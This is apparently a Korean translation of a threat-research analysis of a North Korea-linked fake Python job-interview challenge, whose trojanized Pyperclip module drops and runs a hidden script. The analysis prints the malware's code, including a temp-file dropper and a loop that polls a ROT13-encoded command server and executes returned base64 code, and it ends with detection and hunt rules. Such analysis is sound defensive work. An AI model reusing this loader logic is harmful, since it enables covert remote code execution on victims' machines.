서문
국가가 후원하는 사이버 작전의 어두운 세계에서 북한만큼 많은 관심과 악명을 얻고 있는 위협 행위자도 드뭅니다(조선민주주의인민공화국). 북한과 연계된 위협 그룹은 전술적 능력과 함께 사회 공학 전술을 사용하는 것을 지속적으로 입증해 왔습니다. 그들의 무기고의 최전방에는 예상치 못한 무기인 파이썬이 있습니다.
접근성과 강력한 성능을 자랑하는 이 다목적 프로그래밍 언어는 목표 시스템에 대한 초기 접근을 원하는 북한 요원들의 도구가 되었습니다. 이러한 위협 행위자들은 정교하게 제작된 소셜 엔지니어링 계획과 정교하게 위장한 Python 코드의 강력한 조합을 통해 세계에서 가장 안전한 네트워크에 성공적으로 침투했습니다.
이 간행물에서는 북한이 초기 접근을 위해 사회 공학 및 파이썬 기반 미끼를 사용하는 방법을 살펴봅니다. 리버스 랩 팀이 VMConnect라는 캠페인에 대해 발표한 연구를 바탕으로 최근의 실제 사례를 살펴보고, 코드를 분석하여 이러한 공격이 효과적인 이유를 살펴봅니다. 이러한 기술을 이해함으로써 국가가 후원하는 사이버 위협의 진화하는 환경을 조명하고 방어자가 이에 대응할 수 있는 지식을 갖추도록 하는 것이 목표입니다.
핵심 사항
- 북한의 사회공학적 전술의 정교함에는 종종 장기적인 페르소나 개발과 표적화된 내러티브가 포함됩니다.
- 난독화가 쉽고, 광범위한 라이브러리를 지원하며, 합법적인 시스템 활동과 혼합할 수 있는 Python을 사용합니다.
- 이러한 미끼는 북한의 기술이 지속적으로 진화하고 있다는 증거이며, 사이버 방어 전략에서 지속적인 경계와 적응이 필요하다는 것을 강조합니다.
- 이 캠페인의 Python 스크립트에는 시스템 명령을 실행하고 로컬 파일을 작성 및 실행할 수 있는 모듈이 포함되어 있습니다.
RookeryCapital_PythonTest.zip
이 샘플은 '캐피탈 원' 면접을 위한 파이썬 코딩 챌린지를 가장하여 배포되었습니다. 여기에는 표면적으로는 무해해 보이는 알려진 파이썬 모듈이 포함되어 있습니다. 이 모듈에는 표준 클립보드 관리 기능이 포함되어 있지만, 데이터를 유출하고 임의의 명령을 실행할 수 있는 난독화된 코드도 포함되어 있습니다.
공격자는 Base64 및 ROT13과 같은 인코딩 기술을 사용하여 위험한 기능을 위장하여 사람 검토자와 자동화된 보안 스캔의 탐지를 회피했습니다. 이 코드는 원격 서버에 접속하여 클립보드 작업으로 가장하여 명령을 다운로드하고 실행합니다. 이는 표준 코드에서 악성 기능을 얼마나 쉽게 마스킹할 수 있는지 보여주는 완벽한 예시입니다.
이 파이썬 애플리케이션을 한 줄 한 줄 분석하여 그 원리를 밝혀보겠습니다:
- 악성 서버에 대한 연결을 설정합니다.
- 원격 코드 실행(RCE)을 통해 숨겨진 명령을 실행합니다.
- 일반적인 난독화 기술을 사용하여 레이더망을 피합니다.
- 성공적인 통신을 보장하기 위한 지속적인 재시도 메커니즘 포함
PasswordManager.py
이 '파이썬 챌린지'는 "PasswordManager"라는 파이썬 애플리케이션이 포함된 .zip
파일을 통해 제공됩니다. 이 애플리케이션은 주로 메인 스크립트( PasswordManager.py
)와 두 개의 Python 모듈( Pyperclip
및 Pyrebase
)로 구성됩니다.
README.md
파일을 먼저 살펴보면 일종의 인터뷰 과제나 평가를 위한 것임이 분명하지만, 저희의 관심을 끄는 것은 바로 다음 줄입니다:
사용자가 특정 기능을 중단하거나 눈에 띄게 만들 수 있는 변경을 하기 전에 애플리케이션이 실행되도록 하고 싶었기 때문에 이 점이 흥미로웠습니다.
기본 PasswordManager.py
파일은 기본적인 Python 비밀번호 관리자 애플리케이션을 만드는 것처럼 보입니다. 물론 위에서 언급했듯이 애플리케이션은 이 메인 스크립트로 두 개의 타사 모듈(Pyperclip
및 Pyrebase
)을 가져옵니다.
Pyperclip module
Pyperclip
모듈에는 __init__.py
과 __main__.py
두 개의 파일이 있습니다.
파이썬에서 모듈은 종종 여러 파일로 구성되며, 중요한 두 가지 파일은 __init__.py
와 __main__.py
입니다. __init__.py
파일은 파이썬 패키지를 초기화하여 가져올 때 작동할 수 있도록 하며, __main__.py
파일은 모듈을 독립 실행형 프로그램으로 실행할 수 있도록 합니다.
init.py
__init__.py
는 가장 먼저 가져오는 모듈로, 주로 다양한 플랫폼(Windows, macOS, Linux 등)에서 클립보드 작업을 용이하게 해줍니다. 이 코드의 대부분은 플랫폼(Windows, Linux, macOS)을 감지하고 적절한 클립보드 처리 기능(복사, 붙여넣기)을 제공하도록 설계되었으며, 기본 유틸리티(예: macOS의 경우 pbcopy
, Linux의 경우 xclip
) 또는 Python 라이브러리(예: gtk, PyQt4/PyQt5)에 의존하고 있습니다.
가져오기를 통해 base64
, codecs
, subprocess
, tempfile
과 같은 라이브러리에서 잠재적으로 흥미롭거나 의심스러운 기능을 발견할 수 있습니다. base64
모듈은 민감한 정보를 숨기거나 난독화하는 데 사용할 수 있는 인코딩 또는 디코딩 기능을 제공합니다. 텍스트 인코딩 또는 디코딩에 자주 사용되는 또 다른 모듈인 codecs
와 함께 사용하면(이 경우 ROT13 암호 사용) 스크립트가 탐지를 피하기 위해 데이터를 조작하고 있다는 것이 분명해집니다.
subprocess
모듈의 존재는 특히 우려스러운 부분입니다. 이 모듈을 사용하면 스크립트가 시스템 명령을 실행할 수 있으므로 시스템에서 임의의 코드를 실행할 수 있는 문이 열립니다. 이 모듈은 외부 스크립트를 실행하거나 프로세스를 실행하거나 악성 바이너리를 설치할 수 있습니다.
tempfile module
주소가 포함된 것도 주목할 만합니다. 이 모듈은 악성코드가 흔적을 숨기기 위해 사용하는 일반적인 기법인 쓰기 및 실행이 가능한 임시 파일을 생성합니다. 이 모듈은 스크립트가 콘텐츠를 디스크에 쓰고 임시 디렉터리 내에서 실행할 수 있음을 시사합니다.
import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os
init.py 가져오기
스크립트를 분석해보면 req_self
변수에 할당된 큰 base64 인코딩 블롭이 금방 눈에 띕니다.
req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="
이 Base64로 인코딩된 문자열을 디코딩하면 매우 흥미로운 코드가 포함된 완전히 새롭고 독립적인 Python 스크립트가 표시됩니다.
난독화된 파이썬 스크립트
이 스크립트는 여러 표준 라이브러리(예: requests
, random
, platform
)를 가져와서 임의 데이터를 생성하고, 운영 체제와 상호 작용하고, 문자열을 인코딩/디코딩하고, 네트워크 요청을 할 수 있습니다.
import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs
인코딩된 Python 스크립트 가져오기
이 스크립트에는 co
와 rand_n
라는 두 개의 함수가 포함되어 있습니다.
co
함수는 도우미 기능으로 작동합니다. 이 기능은 현재 운영 체제를 확인합니다(osn
). ROT13 인코딩과 함께 codecs.decode
함수를 사용하여 Jvaqbjf
문자열을 디코딩하면 Windows
이 됩니다. 운영 체제가 Windows인 경우 0
을 반환하고, 그렇지 않으면 1
을 반환합니다.
def co(osn):
if osn == codecs.decode('Jvaqbjf', 'rot13'):
return 0
else:
return 1
co
함수를 인코딩한 파이썬 스크립트 내에서
ROT13 디코딩은 macOS 또는 Linux CLI 또는 ROT13 CyberChef 레시피를 사용하여 쉽게 수행할 수 있습니다.
$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows
rand_n
함수는 123456789
문자열에서 8자리 의사 난수를 생성합니다. 이는 원격 서버와의 추가 통신에서 식별자(uid
)로 사용될 가능성이 높습니다.
def rand_n():
_LENGTH = 8
str_pool = "123456789"
result = ""
for i in range(_LENGTH):
result += random.choice(str_pool)
return result
rand_n
함수를 인코딩한 파이썬 스크립트 내에서
함수 선언에 이어 스크립트는 사용할 하드코딩된 값으로 변수 집합을 정의합니다.
uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))
인코딩된 파이썬 스크립트 변수
uid
: 다음을 사용하여 생성된 임의 식별자rand_n()
oi
: 운영 체제 플랫폼url
: ROT13을 사용하여 디코딩한 후 악성 서버의 URL(https://akamaitechnologies[.]online)로 확인합니다. 위협 행위자는 URL을 인코딩하고 합법적으로 보이는 서비스(Akamai)로 위장하여 탐지를 회피하려고 시도하고 있으며, 이 서비스는 알려진 CDN 제공업체입니다.data
: 서버로 전송되는 데이터 페이로드입니다. 여기에는 디코딩된 문자열(Amazon[.]com
), 임의의 uid, 그리고 OS가 Windows인지 확인하는co(oi)
의 결과가 포함됩니다.
스크립트의 마지막 부분은 메인 while 루프입니다.
while True:
try:
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
sleep(60)
continue
else:
res_str = response.text
if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
res = response.text
borg = res[10:]
dec_res = base64.b64decode(borg).decode('utf-8')
globals()['pu_1'] = uid
globals()['pu_2'] = url
exec(compile(dec_res, '', 'exec'), globals())
sleep(1)
break
else:
sleep(20)
pass
except:
sleep(60)
continue
인코딩된 파이썬 스크립트 메인 동안 루프
첫 번째 시도 블록은 헤더와 데이터가 포함된 HTTP POST 요청을 악성 서버(URL)로 전송합니다. 서버가 200 확인 이외의 상태 코드로 응답하면 스크립트는 60 초 동안 기다렸다가 다시 시도합니다.
그렇지 않으면, 응답이 디코딩된 문자열 'Google.com'으로 시작되는 경우 를 반환하고 응답 길이가 15보다 크면 응답에서 base64로 인코딩된 부분을 추출합니다. 그런 다음 이 부분을 디코딩하고 exec(compile(dec_res, '', 'exec'), globals())
을 사용하여 디코딩된 스크립트를 실행합니다. 이를 통해 공격자는 임의의 파이썬 코드를 전송하여 피해자의 컴퓨터에서 실행할 수 있습니다.
루프가 끝나면 원격 서버와의 통신에 사용되는 임의의 UID와 URL로 전역 변수를 설정합니다. 나중에 다운로드한 페이로드를 실행할 때 사용됩니다.
이제 인코딩된 Python 스크립트의 목적을 이해했으니 __inity__.py
스크립트로 돌아가서 base64로 인코딩된 섹션을 실행하는 함수를 분석해 보겠습니다.
inity.py
__inity__.py
스크립트 내에서 req_self
변수에 대한 다른 참조를 찾아 해당 인코딩된 Python 스크립트로 스크립트가 수행하는 작업을 확인할 수 있습니다. cert_acc
로 정의된 함수에서 하나의 참조를 찾을 수 있습니다.
def cert_acc():
ct_type = platform.system()
l_p = tempfile.gettempdir()
if ct_type == codecs.decode("Jvaqbjf", stream_method):
l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
header_ops = codecs.decode(push_opr, stream_method) + l_p
else:
l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
header_ops = codecs.decode(push_ops, stream_method) + l_p
request_query = open(l_p, 'w')
request_object = base64.b64decode(req_self)
request_query.write(request_object.decode('utf-8'))
request_query.close()
try:
if ct_type == codecs.decode("Jvaqbjf", stream_method):
subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
else:
subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
except:
pass
cert_acc()
ct_type = platform.system()
이 변수는 platform.system()
함수를 사용하여 현재 운영 체제 유형(예: Windows, Linux, macOS용 Darwin)을 검색합니다. 이 값은 ct_type
변수에 저장됩니다.
l_p = tempfile.gettempdir()
이 변수는 시스템의 임시 디렉터리 경로를 반환하는 tempfile.gettempdir() function
를 호출합니다. 이 디렉토리는 일반적으로 시스템이나 프로그램이 생성했다가 재부팅 시 삭제하는 임시 파일을 저장하는 데 사용됩니다. 값은 l_p
에 할당됩니다.
if-else
블록은 ROT13을 사용하는 코덱 라이브러리 디코딩 기능을 활용하여 Jvaqbjf
문자열을 디코딩하여 Windows
로 변환합니다. 시스템 유형이 Windows인지 확인합니다. 시스템이 Windows인 경우 이 코드는 임시 디렉터리 경로 l_p
에 ROT13으로 디코딩된 문자열(디코딩 후 \eronfr.gzc
, \rebase.tmp
로 판명됨)을 추가합니다. 그런 다음 디코딩된 push_opr
변수(ROT13 사용)를 경로와 결합하는 header_ops
명령을 작성합니다.
시스템이 Windows가 아닌 경우, 유닉스와 유사한 파일 경로 /eronfr.gzc
( 디코딩 후/rebase.tmp
)를 추가하고 push_ops
를 사용하여 유사하게 명령을 구성합니다. 이 코드 부분은 운영 체제에 따라 다른 페이로드 또는 명령을 실행하도록 설계되었습니다.
if ct_type == codecs.decode("Jvaqbjf", stream_method):
l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
header_ops = codecs.decode(push_opr, stream_method) + l_p
else:
l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
header_ops = codecs.decode(push_ops, stream_method) + l_p
request_
로 시작하는 다음 몇 개의 문은 이미 분석한 Base64로 인코딩된 Python 스크립트를 disk in the temporary directory. This code opens a new file in the temporary directory (
l_p), which was previously set depending on the system type. The variable
req_self`(역시 Base64로 인코딩된 문자열)에 원래 형식으로 디코딩하는 역할을 합니다. 디코딩된 콘텐츠가 파일에 기록되고 파일이 닫힙니다.
request_query = open(l_p, 'w')
request_object = base64.b64decode(req_self)
request_query.write(request_object.decode('utf-8'))
request_query.close()
함수의 마지막 try
블록은 인코딩된 파이썬 스크립트의 실행을 용이하게 합니다.
시스템 유형이 Windows인 경우 코드는 subprocess.Popen function
을 사용하여 파일( header_ops
로 구성됨)을 실행하려고 시도합니다. DETACHED_PROCESS
플래그를 사용하면 프로세스가 상위 프로세스와 독립적으로 실행되므로 추적하기가 더 어려워집니다.
시스템이 Windows가 아닌 경우 다른 실행 방법(subprocess.Popen
와 shell=True
)을 사용하여 파일을 실행하는데, 이는 유닉스 계열 시스템(Linux/macOS)에서 더 일반적입니다. preexec_fn=os.setpgrp
을 사용하면 프로세스가 터미널 인터럽트에 영향을 받지 않아 백그라운드에서 실행될 수 있습니다.
try:
if ct_type == codecs.decode("Jvaqbjf", stream_method):
subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
else:
subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
except:
pass
cert_acc
함수는 난독화된 Python 스크립트를 실행하여 cert_acc 함수 내에서 실행할 명령을 검색합니다.
Pyperclip
패키지 내의 스크립트는 ROT13 및 Base64 인코딩과 같은 난독화 기술을 사용하여 실제 의도를 숨기는 등 악의적인 행동의 명백한 징후를 보입니다. 운영 체제를 식별하고 그에 따라 동작을 조정하여 디스크에 쓰고 시스템의 임시 디렉터리에서 난독화된 Python 스크립트를 실행합니다. 이 스크립트는 원격 서버와의 통신을 설정하여 원격 코드 실행(RCE)을 활성화하고 공격자가 추가 명령을 보낼 수 있도록 합니다. 이 신중하게 숨겨진 프로세스를 통해 스크립트가 은밀하게 실행되므로 감염된 시스템에 대한 효과적인 C2(명령 및 제어)를 유지하면서 탐지를 피할 수 있습니다.
캠페인 교차점
이 샘플을 발견했을 때 코드 구현과 이전에 야생에서 관찰한 캠페인 미끼와 일치하는 추가 샘플도 발견했습니다.
이 미끼는 이번에도 면접을 가장한 파이썬 코딩 챌린지로 위장합니다. 파이썬 코드 구현은 위에서 분석한 코드와 정확히 일치하며, 설명과 파일명을 기준으로 볼 때 맨디언트가 "CovertCatch"라고 설명한 미끼와 일치합니다.
다음 미끼는 이전 미끼와는 다르지만 앞서 살펴보고 작성한 파이썬 코드 구현과 일치합니다. 작년에 저희는 암호화폐 개발자와 엔지니어를 표적으로 삼은 '캔디콘'이라는 멀웨어를 밝혀낸 바 있습니다.
탐지, 헌팅 및 완화 전략
이러한 유형의 난독화된 악성 코드와 그 동작을 탐지하고 완화하려면 사전 예방적 보안 조치, 모니터링 및 사용자 인식의 조합이 필요합니다.
이러한 미끼와 초기 접속 캠페인에 대한 최선의 방어 전략은 북한과 같은 위협 행위자가 코드 실행을 위해 사용하는 광범위한 표적화 방법에 대해 사용자를 교육하는 것입니다. 이러한 캠페인에 대한 지식과 이를 인식할 수 있는 능력, 특히 '채용 담당자', '개발자 포럼', '깃허브' 등의 타사 애플리케이션의 경우 실행 전에 적절한 코드 분석에 중점을 두면 이러한 공격에 대한 강력한 방어 기반을 마련할 수 있습니다.
특히 이 샘플과 관련하여 코드 실행 메커니즘의 동작과 해당 활동과 관련된 잠재적인 사용 사례와 관련하여 작성할 수 있는 몇 가지 다른 탐지 기능이 있습니다. 이러한 쿼리는 macOS 전용이지만, Windows에서도 동일한 활동을 감지하도록 쿼리를 변경할 수 있습니다.
[탐지] 파이썬 서브 프로세스 셸 임시 파일 실행 및 원격 네트워크 연결
sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]
이 규칙은 __init__.py
샘플이 난독화된 Python 스크립트를 디스크에 쓸 때 나타나는 특정 동작을 찾고 subprocess.Popen
메서드를 활용하여 셸 변수를 True로 설정하여 원격 서버에 연결하여 명령을 검색하고 실행하는 Python 스크립트를 실행합니다.
[헌트] 임시 디렉터리에 파이썬 실행 파일 생성
file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")
위협 행위자가 이 기능을 사용하여 스크립트에 이미 지정된 임시 디렉터리 내에서 실행 가능한 페이로드를 다운로드하려고 시도하는 경우, 이 규칙을 사용하여 Python을 통해 임시 디렉터리에서 실행 파일이 생성되었는지 확인할 수 있습니다.
[헌트] 파이썬을 통한 대화형 셸 실행
process where host.os.type == "macos" and event.type == "start" and event.action == "exec"
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
and process.args == "-i" and process.args_count == 2
위협 행위자는 실행 기능을 사용하여 대상 시스템에서 대화형 셸을 열어 익스플로잇 후 작업을 수행할 수 있습니다. 우리는 국가적 행위자들이 이와 같은 인터랙티브 셸을 사용하는 것을 보았습니다. 이 규칙을 사용하여 Python을 통해 이 대화형 셸의 생성을 찾을 수 있습니다.
[헌트] 의심스러운 파이썬 자식 프로세스 실행
process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")
또한 위협 행위자는 이 코드 실행 기능을 사용하여 다양한 익스플로잇 이후 목표 또는 작업을 위해 시스템 바이너리를 직접 실행할 수도 있습니다. 이 규칙은 특히 파이썬을 통해 일반적으로 사용되지 않는 일부 로컬 시스템 도구의 직접 실행을 찾습니다.
결론 및 향후 동향
이 분석을 통해 살펴본 바와 같이, 북한은 국가가 후원하는 사이버 작전에서 막강한 세력으로 부상했습니다. 소셜 엔지니어링과 파이썬 기반 미끼를 결합한 이 접근 방식은 광범위한 보안 성숙도를 갖춘 조직에서 성공적인 것으로 입증되었습니다.
초기 액세스 작업에 파이썬을 사용하는 것은 사이버 위협의 진화하는 특성을 보여주는 증거입니다. 위협 행위자들은 이 다재다능하고 널리 사용되는 프로그래밍 언어를 활용하여 개발의 단순성과 난독화의 복잡성을 모두 제공하는 강력한 도구를 발견했습니다. 파이썬의 이러한 이중적인 특성은 사이버 보안 방어자들에게 중요한 도전 과제임이 입증되었습니다.
이 최근 샘플에 대한 심층 분석을 통해 북한 위협 행위자들의 현재 전술, 기술 및 절차(TTP)에 대한 귀중한 인사이트를 얻을 수 있었습니다. 이 사례 연구는 소셜 엔지니어링과 맞춤형 Python 스크립트가 어떻게 매우 효과적인 초기 액세스 벡터로 함께 작동할 수 있는지 보여줍니다.
국가가 후원하는 사이버 작전이 발전함에 따라 북한의 수법을 연구하여 얻은 통찰력은 점점 더 가치가 높아지고 있습니다. 사이버 보안 전문가는 소셜 엔지니어링과 정교한 파이썬 기반 도구의 이중 위협에 항상 주의를 기울여야 합니다. 이러한 위협을 방어하려면 강력한 기술 제어, 소셜 엔지니어링 전술에 대한 포괄적인 직원 교육, 의심스러운 Python 활동을 식별하는 데 중점을 둔 고급 위협 탐지 기능 등 다각적인 접근 방식이 필요합니다.
앞으로 사이버 보안 커뮤니티 내에서 협업을 촉진하고 이러한 정교한 위협에 대응하기 위한 인사이트와 전략을 공유하는 것이 매우 중요합니다. 우리는 집단적 경계와 적응형 방어 메커니즘을 통해 북한과 같은 국가 지원 행위자들과의 지속적인 사이버 체스 게임에서 앞서 나가기를 희망합니다.